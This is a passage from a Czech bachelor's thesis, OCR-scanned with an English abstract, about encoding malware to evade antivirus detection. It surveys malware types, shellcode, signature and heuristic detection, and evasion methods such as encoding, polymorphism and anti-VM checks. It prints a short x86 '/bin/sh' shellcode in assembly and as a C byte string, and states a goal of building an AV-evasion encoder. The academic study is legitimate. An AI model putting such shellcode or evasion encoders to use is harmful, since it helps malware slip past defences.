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Abstrakt

Tato bakalarska prace se zabyva problémem, jak zakodovat skodlivy soubor
tak, aby nasledné nebyl rozpoznan antivirovym programem jako skodlivy. Ci-
lem préce je implementovat program pro piikazovou radku, ktery vezme skod-
livy soubor a zakdéduje ho tak, aby pusobil jako neskodny. Préice rozebira al-
fanumericky algoritmus a polymorficky enkodér Shikata ga nai. Vysledkem
prace je aplikace pro prikazovou fadku, kterd muze byt vyuzita napriklad
k penetra¢nimu testovani.

Klicova slova Shikata ga nai, enkodéry, Alfanumericky enkodér, Metasploit
Framework, obchazeni antivirového programu
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Abstract

This thesis is about encoding malicious software in a way which evade an-
tivirus software. The goal of this thesis is design and implement application
for command line which encode malicious software. This work focus on al-
phanumeric encoder and polymorphic encoder Shikata ga nai. The result of
this thesis is command line application, which can, for example, be used for
penetration testing.

Keywords Shikata ga nai, encoders, Alfanumeric encoder, Metasploit Fra-
mework, bypass antivirus software
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Uvod

Utoénici se snazi stale zdokonalovat a vylepsovat Skodlivé kédy, které vytvari.
Pripadné jiz existujici skodlivé kédy upravovat tak, aby nebyly rozpoznany an-
tivirovym softwarem jako skodlivé. Antivirovy software maji v dnesni dobé na
svém pocitaci témér vsichni uzivatelé, kteri pouzivaji operacni systém Win-
dows. Windows je obvykle nejéastéjsi operaéni systém na ktery jsou psany
skodlivé kédy a na ktery se ttoc¢i. To z toho divodu, ze Windows je nejrozsi-
fenéjsi operacni systém mezi béznymi uzivateli.

Antivirové programy v dnesni dobé vyuzivaji spousty ruznych metod pro
detekci skodlivych kéda. Ovsem ani antivirové programy nejsou vsemocné,
obvykle umi identifikovat predevsim znamé skodlivé kody, které jejich tvirci
uz zanalyzovali a definovali. Na nové vytvorené skodlivé koédy pouziva antivi-
rovy software rtzné heuristické algoritmy, které jsou nejisté, a ne vzdy dokazi
spravné identifikovat, zda-li je kéd skodlivy ¢i ne. OvSem hledat nové zrani-
telnosti v operacnich systémech a psat pro né skodlivé koédy je pro dtocniky
slozité, proto prisli s metodami, jak upravit jiz existujici skodlivy kéd tak, aby
byl pro antivirovy software nerozpoznatelny.

Téchto zpusobi, jak upravit jiz znamy skodlivy kéd a obejit antivirovy
software existuje mnoho. Tato bakalarska prace prindsi shrnuti dosavadnich
aplikaci a stavajicich metod k obchézeni antivirovych programi. A zabyva
se predevsim jiz existujicimi postupy, které vezmou skodlivy kéd a cely ho
zakoduji — konkrétné alfanumerickym enkodérem a metodou Shikata ga nai.
Tyto dva algoritmy jsou popsany v kapitole Analyza. V kapitole Reserse jsou
vyjmenovany a rozebrany tfi, dle mého nazoru, nejznaméjsi frameworky na
zakdédovavani skodlivych kédia — Metasploit, Veil a Shellter. Kapitoly Navrh
a Realizace se vénuji vlastni implementaci téchto algoritmt. V posledni ka-
pitole Testovani je testovana vytvorena aplikace proti antivirovému softwaru.
Tato aplikace umi na vstupu prijmout skodlivy kéd a zakdédovat ho zvolenym
enkodérem.

Vysledkem této prace je implementace algoritmi na zakédovani skodli-
vych kédu a zkoumaéni, jak zakodované skodlivé kédy obstoji proti antiviro-



UvoDp

vému programu. Cilem je zkoumat chovani antivirového programu pii spous-
téni skodlivych kbédu zakdédovanych implementovanou aplikaci. Tento problém
je pro mé velice zajimavy, protoze si myslim, ze skodlivé koédy a metody obcha-
zeni antivirovych programi je aktualni téma a stoji za to se o ném dozvédeét
vice.

Prace prindsi shrnuti riznych zptsobu, jak obchédzet antivirové programy
a diskutuje, jak jsou tyto zpusoby efektivni. Tato prace muze byt uziteénd pro
¢tenate, ktery se chce dozvédét néco o tom, jak funguji antivirové programy
a jaké techniky pouzivaji itocénici k jejich obchézeni.

Cil prace

Cilem této prace je navrhnout a realizovat aplikaci pro prikazovou radku,
kterd na vstupu prijme skodlivy kéd utoc¢nika a zakdduje ho zvolenym al-
goritmem. Vyslednd aplikace je otestovana na zranitelném virtudlnim stroji.
Tuto aplikaci budou moci nésledné pouzivat napriklad penetracni testeri ¢i
bezpec¢nostni odbornici. Prace se zaméruje predevsim na dva postupy — al-
fanumericky enkodér a Shikata ga nai. Déle se prace také zaméruje na jiz
existujici programy pro tvorbu a kédovani skodlivych kédi — Metasploit, Veil
a Shellter.



KAPITOLA 1

Analyza

V této praci se vénuji spusténi skodlivého kédu na zafizeni obéti. Skodlivy
kéd je software, ktery umozni ito¢nikovi pristup k zarizeni ¢i informaci obéti
za Ucelem osobniho zisku ¢i poskozeni obéti. Tento kéd se ¢asto také nazyva
malware. ,Malware je pocitacovy program urceny ke vniknuti nebo poskozeni
pocitacového systému* [I]. I kdyz existuje vice moznosti obrany, tato prace se
zabyva, v rdmci uniku detekce, obranou pomoci antivirového softwaru. Utod-
nik se snazi tento software obejit pomoci riznych technik a zaroven tvurci
antivirovych softwarti se snazi témto ¢innostem zabranit. Jednoduse feceno,
je to kolobéh, kdy utocénik vylepsi sviij skodlivy kéd a tvurci antivirového soft-
waru na to zareaguji vylepsenim svého antivirového softwaru. Tento kolobéh
je znézornén na obrazku

\

O O

utocénik —— obrance

Obréazek 1.1: Kolobéh utocnika a tvirct antivirového programu



1. ANALYZA

Utocnlk

Utocnlk ma distribuuje Spoustenl
Skodlivy kod skodlivy kod Skodlivého koédu

Utocnlk je Utocnlk

upozornén o

vykonava
uspésném
Skodlivou €innost
spusténi

Obrazek 1.2: Cyklus utoku — priklad jak muze vypadat Utok, tato prace se
vénuje predevsim bodu 3

Utok, ktery j& uvazuji mize vypadat nasledovné. Utoénik si na zékladé
analyzy zranitelnosti, znalosti obéti, znalosti zafizeni atd. vytvoii nebo vy-
bere skodlivy kéd. Déle si itocnik zvoli vhodnou distribu¢ni metodu na za-
kladé predchoziho kroku. Mize se jednat napriklad o socialni inzenyrstvi nebo
vzdaleny utok (do pocitace se Gto¢nik dostane zvenci). Konkretnim ttokem,
ktery by se zaklddal na uvazovaném postupu, je napriklad tento [2], kdy do-
slo k nakaZeni pocitact pomoci skodlivého kédu ulozeného v PNG souborech.
Nasledné tutocnik resi spusténi skodlivého kédu na zarizeni obéti. Dalsim pri-
kladem ttoku, ktery zde uvedu, je PyRoMine malware [3]. Tento malware
napadne pocita¢ pomoci uniklych NSA exploiti a poté ho vyuziva k tézeni
kryptomény. Dle zadani se tato prace ma vénovat zakédovani skodlivého kédu
tak, aby nebyl rozpoznan antivirovym programem. Toto se skryva za spus-
ténim skodlivého kédu na zafizeni obéti a timto krokem se proto predevsim
zabyva tato prace. V dalsim kroku je ito¢nik upozornén o tspésném spusténi
skodlivého kédu. Jedna se obvykle o pripad, kdy chce tto¢nik ziskat vzdaleny
pristup k zarizeni obéti anebo citliva data. V opacném pripadé, napriklad
pokud se jednd o DoS (odepreni pristupu), je tento krok volitelny. Nakonec
utoénik vykonéva skodlivou ¢innost dle svého uvazeni. Tento cyklus je zobra-
zen na obrazku [[L.2l

V ramci této prace meé zajima predevsim faze spusténi skodlivého kédu.
Tento kdd muze byt zachycen antivirovym softwarem, proto ito¢nik hleda zpu-
sob, jak této udalosti zabranit. Zpusobu, jak této detekci zabranit je mnoho.
Velmi pékné jsou tyto metody rozdéleny do kategorii a znazornény na obrazku
zde [4]. Pro priklad zminim tyto — zakédovani skodlivého kédu, polymorfismus
nebo detekce spusténi ve virtudlnim prostredi. J& se zabyvam zakdédovanim

4



1.1. Skodlivy kéd neboli malware

skodlivy kéd

l
'

dekéder zakddovany skodlivy kod

Obréazek 1.3: Zakdédovani — jeden ze zptisobll obchazeni antivirového programu

skodlivého kédu. Utoénik provede zakédovéni tohoto Skodlivého kédu s cilem
obelstit antivirovy software a schovat pravou funkcionalitu tohoto kédu. Tento
kéd se skladéd ze dvou Casti. Prvni cast je tzv. dekodér, ktery zajisti dekddo-
vani druhé c¢asti. Druhd ¢ast je zakédovany koéd, ktery se dekdéduje pomoci
dekodéru béhem spusténi skodlivého kédu. Toto je vyobrazeno na obrazku
Nyni se v rdmci analyzy zamérim na nasledujici terminy:

o Skodlivy kéd neboli malware

e Techniky detekce skodlivého kédu

e Principy tniku detekce antivirovym softwarem
e Principy spusténi skodlivého kdédu

Tyto terminy jsou dulezité pro pochopeni principu, jak funguji algoritmy
pro zakoédovani skodlivého kédu a jejich funkcionality, kterd bude vysvétlena
posléze.

1.1 Skodlivy kéd neboli malware

Pod pojmem skodlivy kod se skryva software, jehoz tikolem je kompromitovat
systém, aniz by to zaznamenal uzivatel [5]. Casto se tento software té7 nazyva
malware. Slovo malware vzniklo spojenim dvou slov — malicious a software
[6]. Cile skodlivého kédu mohou byt ruzné, napriklad ziskat z napadeného
sytému citlivé udaje (hesla, ¢isla kreditnich karet apod.), zaznamenavat stisk-
nuté klavesy, nicit soubory [7] nebo také zasifrovat data na disku a vyzadovat
za desifrovani penize (tzv. ransomware).



1. ANALYZA

Cést skodlivého kédu, kterd provadi skodlivou ¢innost se v anglickém ja-
zyce nazyva payload. V ¢eském jazyce se mi Spatné hleda ekvivalent. OvSem
jak popis napovidé, toto je hlavni ¢ast skodlivého kédu vykonédvajici ¢innost
podle potreb utocnika.

Casto je skodlivy kéd pripojen k divéryhodnému souboru. Toto je mozné
z duvodu pritomnych bezpecnostnich zranitelnosti, Spatného navrhu aplikace
nebo specidlnich funkcionalit riznych softwart apod. Existuje mnoho zpi-
sobt, jakymi se mtze skodlivy kod sitit. Nejcastéji se $ifi pomoci emailovych
ptiloh nebo pomoci soubori stazenych z internetu [7]. Nebo také socidlnim
inZzenyrstvim — pomoci riznych USB paméti.

Malware se dale déli na mnoho kategorii. Dle mého néazoru, nejzajimaveé;jsi
jsou nasledujici:

e pocditacovy virus
e ransomware

e trojsky kun

o Cerv

Existuji i dalsi kategorie jako napriklad botnet, adware, spyware apod.

Pocitacovy virus je skodlivy program, ktery vyuziva jiz existujici soubory
na pocitaci. Tyto soubory napadne a pripoji se k nim. Obvykle se virus pfipoji
bud na zacétek nebo na konec napadeného souboru [§]. K instalaci pocitaco-
vého viru dojde bez povsimnuti uzivatele a virus se dale sdm replikuje a Siii
pomoci napadeného souboru z pocitace do pocitace [7, [9].

Cerv se stejné jako poéitacovy virus sam replikuje a §i#i. Na rozdil od viru
ale nepottfebuje k zahajeni replikace lidsky zasah. Dalsim rozdilem oproti viru
je, ze Cerv se nepripojuje k souborum, ale je sim samostatnym programem
[9, [10].

Ransomware je specidlni typ skodlivého softwaru, ktery je pouzivan k vydi-
rani. Ransomware obvykle zasifruje data na disku (pfevazné dokumenty a fo-
tografie) a vyZzaduje po uzivateli poplatek za desifrovani [I1]. Pokud uZivatel
odmitne zaplatit, ransomware data smaze.

Trojsky kan je jeden z nejrozsifenéjsich typu malwaru [12]. Na rozdil od
pocitacového viru se trojsky kun neumi sam replikovat ani sifit. Spoléhé na to,
ze ho uzivatel spusti omylem nebo navstivi skodlivou webovou stranku [I3].
Snazi se vzbudit dojem, Ze je neskodny (napfiklad je pojmenovany stejné jako
neskodné aplikace) a poté otevie zadni vratka [I0] neboli tzv. ,backdoor*,
ktery muze utocénikovi oteviit vzdaleny pristup k zarizeni obéti.
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1.1. Skodlivy kéd neboli malware

Tabulka 1.1: Porovnani typt malwaru

Replikace Sireni
Virus sam se replikuje sam se Sir{
Trojan neumi se sam replikovat | musi byt spustén uzivatelem

Ransomware | neumi se sam replikovat | musi byt spustén uzivatelem

Cerv sam se replikuje musi byt spustén uzivatelem

Pro potieby této prace nebudu rozlisSovat o jaky typ skodlivého kdédu se
jednd (pocitacovy virus, trojsky kur apod.), jelikoz dilezité je pouze to, ze se
jedna o skodlivy kéd. Spise je potieba vysvétlit, co v rdmci skodlivych kédi
znamend pojem shellcode. A k ¢emu se pouZiva.

1.1.1 Shellcode

Jak jsem jiz zminila, payload je ¢ast skodlivého kbdu, kterd vykonava skodlivou
¢innost. Jako priklad mtzu uvést tocnika, ktery vezme néjaky duvéryhodny
soubor, napiiklad PDF a k nému pripoji svij payload. Slovem shellcode se
oznacuje payload, ktery obvykle spousti shell. Shell je prikazova radka, ze
které se interaguje s operacnim systémem a lze z ni napiiklad spoustét pro-
gramy nebo ménit nastaveni systému. Navic shellcode byva obvykle napsan
ného binarniho programu [I4]. Na listingu [1| je ukdzka shellcodu v assembleru.
V levém sloupci je vidét strojovy kod, coz je vlastné reprezentace toho pra-
vého sloupce pomoci hexadeciméalnich hodnot. V pravém sloupci jsou instrukce
v assembleru. Na listingu [2] je shellcode z listingu [I| zapsany jako string v C.

Definice slova shellcode se ne vzdy uplné shoduji. Postupem casu se vy-
znam meénil. Ovsem nejvice se zdroje shoduji v tom, ze shellcode je definovan
jako mnozina instrukci, které jsou vlozeny do jiz beziciho programu a poté
vykondny [14], 15].

Jak shellcode bude vypadat je zavislé na architekture zafizeni na kterém
bude spoustén, z toho divodu je psin v assembleru. Vzhledem k tomu, ze
pro kazdou architekturu existuje jiny druh assembleru, tak z toho plyne, Ze
shellcode napsany v assembleru je neprenositelny. Tudiz uz predem je tieba
veédét na jakém zafizeni bude spoustén [I5].

Existuji razné druhy shellcodu, tudiz je lze délit do nékolika kategorii. J&
zminim néasledujici ¢tyfi typy, které mi prisli nejzajimavéjsi [17), (18] 19]:

e Port-Binding Shellcode — Tento shellcode se navize na sitovy port,

kde poslouché ptichozi spojeni. Pouziva se v pripadech, kdy je potieba

komunikovat pres sit.

e Reverse Shellcode — Problémem pfedchoziho Port-Binding Shellcodu
je, ze prichozi spojeni mohou byt snadno blokovana firewallem. Toto Tesi
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1. ANALYZA

_start:

31 cO0 X0r eax, eax

50 push eax

68 2f 2f 73 68 push 0x68732f2f
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx, esp

89 c1 mov ecx, eax

89 c2 mov eax, edx
b0 Ob mov al, OxOb

cd 80 int 0x80

31 c0 X0r eax, eax

40 inc eax

cd 80 int 0x80

Listing 1: Shellcode — ukazka shellcodu v assembleru (x86) [16]

char shellcode[] =
"\x31\xc0\x50\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" ;

Listing 2: Shellcode — ukdzka shellcodu zapsaném jako string v jazyce C [16]

pravé Reverse shellcode. Shellcode obsahuje natvrdo zadanou IP adresu
a port na kterou se sdm pripoji.

e Command Execution Shellcode — Oproti pfedchozim zminénym ne-
vytvaii sitové spojeni. Misto toho napriklad modifikuje uzivatelsky tcet.

e Staged Shellcode — Tento Shellcode se pouziva v pripadech, kdy je
shellcode vétsi nez misto, kam ho chceme nahrit. V tom pripadé je
treba vytvorit jeden maly shellcode, jehoz tUkolem je pouze stdhnout
vétsi shellcode a spustit ho.

1.2 Techniky detekce skodlivého kédu

Jeden ze zpiisobii detekce skodlivého kédu je software nazvany antivirovy pro-
gram. Tento software m4 uzivatel na svém zafizeni. Ukolem antivirového pro-
gramu je poskytovat ochranu pred skodlivym kédem. K tomu vyuziva rtizné
metody detekce. Antivirovy program v zdsadé skenuje a analyzuje veskeré sou-
bory, které si uzivatel stdhne na své zafizeni (at uz z internetu nebo z USB
zafizeni) a detekuje ty, které jsou skodlivé. Obvykle se snazi detekovat a od-
stranit Skodlivy soubor jesté predtim, nez dojde k nakazeni pocitace. OvSem
v pripadé, ze se mu nepodafi zabranit nakaze predem a k nakazeni dojde, tak
antivirovy program umi podéitac i vydcistit.
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1.2. Techniky detekce skodlivého kédu

Techniky detekce
Skodlivého kodu

Y Y
Detekce zaloZzena na Detekce zaloZzena na
signaturach heuristice
Staticka Dynamicka Staticka Dynamicka

Obrazek 1.4: Techniky detekce skodlivého kédu

Autori skodlivych kédu se Casto snazi detekci antivirového programu obejit
a vymysleji stdle nové a nové zpisoby, jak toho docilit. Je dilezité si uvédo-
mit, ze antivirovy program neni vSemocny. Obvykle nedokaze sam od sebe
odhalovat nové typy skodlivych kodua.

Jak jiz bylo zminéno, souc¢éasti antivirového programu je skener, ktery do-
kéze skenovat soubory na pocitaci. Kromé skenovani musi byt antivirovy pro-
gram také schopen dekomprimovat soubory typu ZIP, RAR, TGZ apod., aby
mohl prochézet a analyzovat soubory, které jsou uvniti. Dale antivirus obsa-
huje emuldtory a unpackery. Unpackery se snazi rozbalit chranéné nebo zkom-
primované soubory. Emulatory spousti potencidlné skodlivy soubor na riznych
procesorech a zkoumaji, co déld. Napiiklad na procesorech ARM nebo Intel
x86 [20].

Na téchto funkcich jsou nasledné zalozeny dvé nejpouzivanéjsi techniky
detekce skodlivych kédu [21], 22]:

o detekce zalozend na signaturach

o detekce zalozend na heuristice

V obou dvou pripadech lze k analyzovani skodlivého kédu pouzit bud sta-
tickou analyzu anebo dynamickou analyzu (jak je patrné z obrézku [1.4]).

Staticka analyza se pouziva v pripadé, kdy je tfeba zjistit, co néjaky pro-
gram déla a jak funguje. Dulezité je, ze pri statické analyze neni program
spustén. Tim se odliSuje statickd analyza od té dynamické. Pfi dynamické
analyze je program spustén.



1. ANALYZA

Pii statické analyze se v programu napiiklad hledaji rizné stringy (sek-
vence znaki), které mohou prozradit, co je ic¢elem programu a zda je Skodlivy.
Dale napriklad spustitelné soubory obsahuji hlavicky a ty také mohou o pro-
gramu dost prozradit. Jednou z véci, kterou obsahuje hlavicka spustitelného
souboru, je jaké knihovny soubor importuje. Jména téchto knihoven mohou
pomoci priblizit zdmér spustitelného souboru [23].

Dynamicka analyza se pouzivd v pripadé, ze je skodlivy kéd napriklad
obfuskovan tzn. Ze je zneprehlednén a je skryto co déla. Pak se muze stat, ze
statickd analyza nedokéze rozhodnout o skodlivosti kédu. Pro tyto pripady je
tu dynamickd analyza. Pfi dynamické analyze dochazi ke spusténi skodlivého
kédu. Kazdy, kdo provadi dynamickou analyzu, si na to musi dat pozor, aby
neinfikoval svoje vlastni zarizeni. K tomuto tcelu se pouziva napriklad virtu-
alni prostredi, ve kterém se spusti hypoteticky skodlivy koéd. Existuji i zptusoby,
kterymi lze provadét dynamickou analyzu automaticky. K tomu se pouziva na-
priklad cuckoo sandbox [24]. OvSsem v tomto pripadé se muze stét, ze skodlivy
program zdetekuje, ze je spoustén ve virtudlnim prostiedi a na zakladé toho
skryje a nespusti své skodlivé aktivity. To je problematické, protoze v tomto
pripadé jsou vysledky dynamické analyzy minimalni.

1.2.1 Detekce zalozena na signature

Tato metoda detekce je jedna z nejpouzivanéjsich, je nejjednodussi a nejrych-
lejsi [20) 25]. Antivirovy program obsahuje databézi vzorka skodlivych kédu
a s touto databazi porovnava soubory, které mé uzivatel na svém zafizeni.
Databéze vzorki je vytvarena na zakladé jiz znamych skodlivych kéd, které
jsou analyzovany a zkouméany. Analyzovan je disassemblovany skodlivy kod,
z ného jsou vybrany rizné c¢asti, na kterych je pak postavena detekce bu-
doucich podobnych skodlivych kédi. A to je i duvodem, pro¢ je tato metoda
neefektivni a lze snadno obejit. Utoénikovi staéi délat relativné malé zmény
ve skodlivém koédu a tato metoda uz zménény koéd neoznadi jako skodlivy.
Jaké zmény v kodu provadét obvykle zavisi na formatu souboru. Konkrétni
techniky jsou zminéné zde [26].

V predchozim odstavci jsem zminila databazi vzorki skodlivych kédi, nyni
vysvétlim, co to vlastné znamend. V kazdém skodlivém kédu se daji najit
charakteristické casti, na kterych lze postavit signaturu. Tato signatura potom
detekuje podobné skodlivé kédy. Signatura tudiz znamend unikatni definice
skodlivych koda, které sdileji stejné casti. Typické a jednoduché zplisoby na
vytvareni signatur jsou checksumy, MD5 hashe, apod [23].

1.2.2 Detekce zalozena na heuristice

Tato technika se lisi oproti predchozi detekci, kterd je zalozena na signatu-
rach. Detekce zalozend na signaturich detekuje skodlivé kédy na zédkladé pres-
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1.3. Principy tniku detekce antivirovym softwarem

nych shod urcitych ¢asti kddu, zatimco heuristickd detekce detekuje pouze na
zédkladé podobnosti [27]. Pokud je analyzovany skodlivy kéd podobny néja-
kému skodlivému, pak je i analyzovany kod oznacen jako skodlivy. Stejné jako
u predchozi detekce, i zde se pouzivaji dva typy analyzy — staticka a dyna-
mickd. V pripadé dynamické analyzy se program spousti naptiklad ve virtu-
alnim prostredi a analyzuje se jeho chovani. Teoreticky by heuristicka detekce
méla umét odhalit i nové nezndmé skodlivé kédy. Protoze je tato detekce mno-
hem naroc¢néjsi, tak i analyzovat soubor trva déle. Heuristicka detekce vyuziva
napriklad Bayesovskou sit, coz je pravdépodobnostni model, ktery se sklada
z mnoziny proménnych. Proménné jsou napiiklad charakteristiky (nebo také
anglicky se termin nazyva flag) hlavicek spustitelnych soubort nebo zda je
soubor zkomprimovéan ¢i ne [20]. Déle se pro detekci skodlivych kédu pouziva
také machine learning. O tom se lze vice docist zde [28§].

Skodlivy kéd se miize nachizet v riznjch typech soubortl. Volba typu sou-
boru zalezi na potfebach ttoénika a na zptisobu distribuce skodlivého sou-
boru. Utoénik mize schovat skodlivy kéd napriklad v dokumentech (PDF,
Word, Excel a dalsich). Toto se vyuziva naptiklad v pripadech, kdy mé utoc-
nik v imyslu sitit své skodlivé soubory v emailovych prilohach. Dale muze
utocénik skodlivy koéd schovat ve spustitelnych souborech, které se budou tva-
it jako davéryhodnd aplikace, kterou si obét bude chtit stdhnout a spustit ze
zdroje kontrolovaného ttocénikem. Toto se samozrejmé miize stat za pomoci
socialniho inzenyrstvi.

1.3 Principy tniku detekce antivirovym softwarem

Pro sifeni skodlivého kédu je dilezité, aby zustal skryty a vyhnul se detekci
antivirového programu. Proto se autori skodlivych kédu ¢asto snazi najit zpu-
sob, jakym tuto detekci obejit. Tyto techniky pouzivaji autori také kromé
obchdazeni detekci k tomu, aby se malware hife analyzoval a bylo tézsi zjistit,
co skodlivy program doopravdy déla. Existuje mnoho zpusobt, jak se pokusit
obejit antivirovy program anebo znesnadnit analyzu souboru [22]. J4 se budu
zabyvat néasledujicimi technikami:

e Zakdédovani skodlivého kédu
e Polymorfismus

e Metamorfismus

o Anti-disassembly

o Anti-debugging

e Anti-virtual machines
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1. ANALYZA

Ox41 | Ox54 | Ox54 | Ox41 | Ox43 | Ox4B | Ox20 | Ox41 | Ox54 | Ox20 | Ox4E | Ox4F | Ox4F | Ox4E

b

} h h } |DEL| W | FS } H | FS r s s r

Ox7d | Ox68 | Ox68 | Ox7d | Ox7F | Ox77 | Ox1C | Ox7d | Ox68 | Ox1C | Ox72 | Ox71 | Ox71 | Ox72

Obrazek 1.5: Zde jsou znazornény znaky pomoci jejich hexadecimalniho ASCII
kédu, nésledné jsou zakédovany pomoci operace XOR s hodnotou 0x3C [23]

1.3.1 Zakédovani skodlivého kédu

Cilem zakdédovani je zamaskovat a skryt, co skodlivy program ve skutecnosti
déld. Pomoci zakédovani se autortim skodlivych kéda dari skryt dilezita slova
(nazjvané stringy), které skodlivy program obvykle obsahuje. Skodlivy pro-
gram muze obsahovat naptiklad URL nebo klice registri a presné ty se hodi

vvvvv

program déla. Enkodér je funkce, kterd zabali existujici payload.

Predevsim touto metodou uiniku detekce antivirovym softwarem se zabyva
tato bakalarska prace. K zakdédovani skodlivého kédu se pouziva program na-
zvany enkodér. Ruazné typy enkodérti obsahuje napiiklad program Metasploit
[29], o kterém mluvim v kapitole |Re§er§e existujicich metod k zakodovani
[skodlivych kodu, Mezi typy enkodéru patii napiiklad Alfanumericky enkodér
nebo Shikata ga nai [29]. K zakédovani se Casto pouzivd operace XOR. Lze
pomoci ni jednoduse skryt data. Také je tato operace vyhodné, protoze po-
uziva stejny kli¢ k zakédovani i k dekédovani dat [22]. Navic 1ze k zakédo-
vani/dekédovani pouzit pokazdé jiny kli¢, a tudiz vysledny kéd bude pokazdé
jiny a tim padem se lze vyhnout detekci zalozené na signaturach. Na obrazku
je znazornéno, jak lze pomoci operace XOR skryt data.

Zakdédovany skodlivy kéd se skldda ze dvou ¢asti. Prvni ¢ast se nazyva de-
kodér a stard se dekdédovani druhé casti — tedy skodlivého kédu. Tento proces
je zndzornén na obrazku[I.3] A zde nastéva problém, protoze prvni ¢ast — de-
kodér se neméni a zlstava stale stejnd a toho muze vyuzit antivirovy program
a detekovat na zakladé této prvni ¢asti.
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1.3.1.1 Enkodér skodlivého kédu a struktura zakédovaného
Skodlivého kédu

Enkodér je program, ktery vezme skodlivy koéd a zakdéduje ho takovym zpt-
sobem, aby spliioval uréita kritéria (napiiklad alfanumericky enkodér zaké-
duje payload tak, ze vysledny payload obsahuje pouze alfanumerické znaky).
V principu enkodér déla to, ze samotny skodlivy kéd zakdduje danym algorit-
mem a pred tuto zakédovanou ¢ast prida dekodér. Dekodér se stard o dekddo-
vani zakdédovaného skodlivého kodu. Samotné dekdédovani probiha pti spusténi
programu. To znamend, ze pii spusténi programu se jako prvni spusti deko-
dér, ktery rozkdéduje zakédovanou ¢ast a potom se tato nyni dekédovana cast
spusti a provede se ptivodni skodlivy kéd. V disledku pridani dekddovaci ¢asti
se zvetsi velikost vysledného skodlivého kédu. Cilem této prace je takovy en-
kodér implementovat.

1.3.2 Polymorfismus

Pokud o skodlivém kédu feknu, ze je polymorficky, znamena to, ze pri kaz-
dém vygenerovani polymorfického skodlivého kédu, je dekodér tohoto kdédu
jiny. To jednoduse znamen4, ze polymorficky skodlivy kéd je schopen vytvorit
velké mnozstvi riznych dekodéri. Aby k tomuto mohlo dochézet, tak kazdy
polymorficky skodlivy kéd musi obsahovat nédstroj, ktery se stara o to, ze de-
kodér je pokazdé jiny. Tento nastroj se anglicky ¢asto nazyva mutation engine
[27]. Na obrazku lze vlevo vidét, jak vypadd polymorficky kéd na disku
a jak v paméti. Tento obrazek ilustruje, ze ackoliv na disku se kody lisi, tak
v paméti je dekdédovany vysledny kéd stejny. A tim se i dostdvam k nevyhodé
polymorfického skodlivého kodu.

Nevyhodou polymorfického skodlivého kédu je, ze ackoliv se mu obvykle
podafi obejit statickou detekci zalozenou na signaturach, tak uz je pro néj
tézsi obejit dynamickou detekci, pti které dochazi ke spusténi skodlivého kédu
ve virtualnim prostiedi. Protoze pokud antivirovy program zkusi skodlivy kod
spustit, do té doby zakdédované télo se dekdéduje a spusti a tim se odhali an-
tivirovému programu. K prekonani tohoto problému ovSsem muze byt pouzita
Anti-Virtual machines technika (viz [Anti-virtual machines|[1.3.6)).

1.3.3 Metamorfismus

Nevyhoda polymorfického kédu jiz byla zminéna, tento problém se snazi fe-
sit koéd nazvany metamorficky. Metamorfické kody neméni samotny dekodér.
Jejich cilem je zménit télo kédu tak, aby pfi kazdém vygenerovani bylo jiné —
tak, ze si zachova pokazdé stejnou funkcnost, ale vnitini struktura bude od-
lisna. To znamen4, Ze stejné jako polymorfické kédy vyuzivaji mutation engine
ovSem k jinému ucelu [27]. Metamorficky skodlivy kéd s kazdou svou instanci
preprogramuje sam sebe, pouziva k tomu napriklad rizné obfuskacni techniky.
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Obréazek 1.6: Polymorfismus vs. Metamorfismus — vlevo je znadzornén polymor-
ficky kod, vpravo metamorficky)

Shrnuti polymorfismu a metamorfismu — hlavnim rozdilem mezi polymor-
fickym a metamorfickym skodlivym kédem je, ze polymorficky méni pouze
dekodér, zatimco metamorficky méni s kazdou svou instanci své nezakddo-
vané télo. Tento rozdil je zndzornén na obrazku

1.3.4 Anti-disassembly

Disassemblovani je proces ziskdni kédu v assembleru ze zdrojového kédu. Tato
technika zajisti, Zze rtzné nastroje, které provadi disassemblovani binarniho
souboru, vyprodukuji nespravné vysledky. Tudiz diky této technice se velmi
ztizi analyza skodlivého kédu. Je mnohem tézsi pak zjistit, co skodlivy kéd
doopravdy déla [23].

Tato technika se snazi vyuzivat predevsim nedokonalosti, které jsou v di-
sassemblovacich programech. A také toho, ze jeden binarni soubor lze disas-
semblovat vice moznostmi. Vice o této technice se lze docist v knize Practical
Malware Analysis [30].

1.3.5 Anti-debugging

Tato metoda si klade za cil ztizit analyzu skodlivych k6da. Obvykle lidé, kteti
analyzuji skodlivé kédy (napiiklad autofi antivirovych programi), pouzivaji
k analyze rtizné debuggovaci nastroje. Jejich cilem je zjistit, jak skodlivy kdd
funguje a co déla. Technika Anti-debugging si klade za cil poznat, Ze Skodlivy
kéd bézi v debuggovacim prostiedi a na zdkladé toho se zachovat jinak nez
obvykle. To znamend, nespustit Skodlivé aktivity a tvarit se jako neskodny
program.
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Metod, jak rozpoznat, ze skodlivy kéd bézi v debuggovacim prostredi, je
mnoho. Vice o nich se lze do¢ist v knize Practical Malware Analysis [31].

1.3.6 Anti-virtual machines

Tato metoda ma podobny cil jako predchozi zminéna metoda[Anti-debugging]
Skodlivy kéd se snazi detekovat, zda bézi ve virtudlnim prostfedi. Pokud se
mu povede zdetekovat, Ze ano, tak se zachova odlisné, nez pokud je spoustén
mimo virtualni prostiedi. Ovsem v dnesni dobé se virtualni prostiredi stéale
castéji pouziva i k jinym technikdm, nez je analyzovani skodlivych kédu. Tudiz
pouzitim této techniky se autori skodlivych kédu mohou pripravit o dalsi obéti
jejich kodu [23].

1.3.7 Dalsi techniky

Mezi dalsi zpusoby vyhnuti se detekci antivirového programu patii napriklad
packer. Packer je dalsi zpusob, jak skryt, co skodlivy program déla. Packer
obvykle zkomprimuje skodlivy spustitelny soubor. Pavodné také byly packery
vytvoreny presné k tomu uicelu, aby zmensovaly velikost spustitelnych souboru.
Bohuzel, pozdéji si autori skodlivych koéda vsimli i zbylych vyhod packera —
dokazi skryt, co program déla a ztézuji jeho analyzu, a zacali je vyuzivat pii
vytvareni svych skodlivych kédi. Packery se pouzivaji ke ztizeni analyzy sou-
boru. Je dtlezité zdiraznit, ze packery se pouzivaji i v pripadech legitimnich
a neskodnych aplikaci, proto nelze hned Tici, ze kdyz soubor pouziva packer,
tak je skodlivy [32, [33].

1.4 Principy spusténi skodlivého kédu
V ramci této prace se zabyvam specifickymi algoritmy (Shikata ga naila Al-

fanumerickym enkodérem [1.5)), které zakdédovavaji skodlivy kéd s cilem tiniku
detekce antivirovym softwarem. Z tohoto duvodu je tfeba jiz nyni zodpovédét

)

o Cileny operac¢ni systém
